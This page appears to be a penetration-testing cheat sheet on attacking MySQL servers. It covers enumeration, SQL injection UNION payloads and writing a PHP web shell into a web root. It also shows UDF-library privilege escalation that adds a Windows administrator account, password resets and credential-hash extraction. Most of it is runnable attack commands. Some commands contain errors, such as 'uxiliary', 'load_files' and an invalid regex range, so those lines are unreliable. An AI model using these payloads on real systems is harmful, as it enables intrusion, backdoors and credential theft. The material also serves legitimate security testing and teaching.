# 3306 - Pentesting Mysql

## **Basic Information**

**MySQL** is a freely available open source Relational Database Management System \(RDBMS\) that uses Structured Query Language \(**SQL**\).  
****From [here](https://www.siteground.com/tutorials/php-mysql/mysql/).

**Default port:** 3306

```text
3306/tcp open  mysql
```

## **Connect**

### **Local**

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

### Remote

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

## Enumeration

Some of the enumeration actions require valid credentials

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use uxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

### \*\*\*\*[**Brute force**](../brute-force.md#mysql)

## Write any binary data

```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```

## **Basic & interesting MySQL commands**

```bash
show databases;
use <database>;
show tables;
describe <table_name>;

select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Try to execute code
select do_system('id');
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
```

## MySQL arbitrary read file by client

Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**  
Please notice that this is the behaviour using: 

```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```

 \(Notice the "local" word\)  
Because without the "local" you can get: 

```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```

**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)  
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)  
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)\*\*\*\*

## POST

### Mysql User

It will be very interesting if mysql is running as **root**:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
```

### Privilege escalation

How to:

* Current Level of access
  * mysql&gt;`select user();`
  * mysql&gt;`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';`
* Access passwords
  * mysql&gt; `use mysql`
  * mysql&gt; `select user,password from user;`
* Create a new user and grant him privileges
  * mysql&gt;`create user test identified by 'test';`
  * mysql&gt; `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;`
* Break into a shell
  * mysql&gt; `\! cat /etc/passwd`
  * mysql&gt; `\! bash`

### Privilege Escalation via library

You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so`  and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host.

#### Linux

```sql
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/tmp/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
```

#### Windows

```sql
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

### Extracting MySQL credentials from the database

```sql
SELECT User,Host,Password FROM mysql.user;
SELECT User,Host,authentication_string FROM mysql.user;
```

```bash
mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"
```

### Extracting MySQL credentials from files

Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**

```bash
cat /etc/mysql/debian.cnf
```

You can **use these credentials to login in the mysql database**.

Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **all the hashes of the MySQL users** \(the ones that you can extract from mysql.user inside the database\)_._

You can extract them doing:

```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### Enabling logging

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

![](../.gitbook/assets/image%20%28308%29.png)

### Useful files

Configuration Files

* windows
  * * config.ini
    * my.ini
      * windows\my.ini
      * winnt\my.ini
    * &lt;InstDir&gt;/mysql/data/
  * unix
    * my.cnf
      * /etc/my.cnf
      * /etc/mysql/my.cnf
      * /var/lib/mysql/my.cnf
      * ~/.my.cnf
      * /etc/my.cnf
* Command History
  * ~/.mysql.history
* Log Files
  * connections.log
  * update.log
  * common.log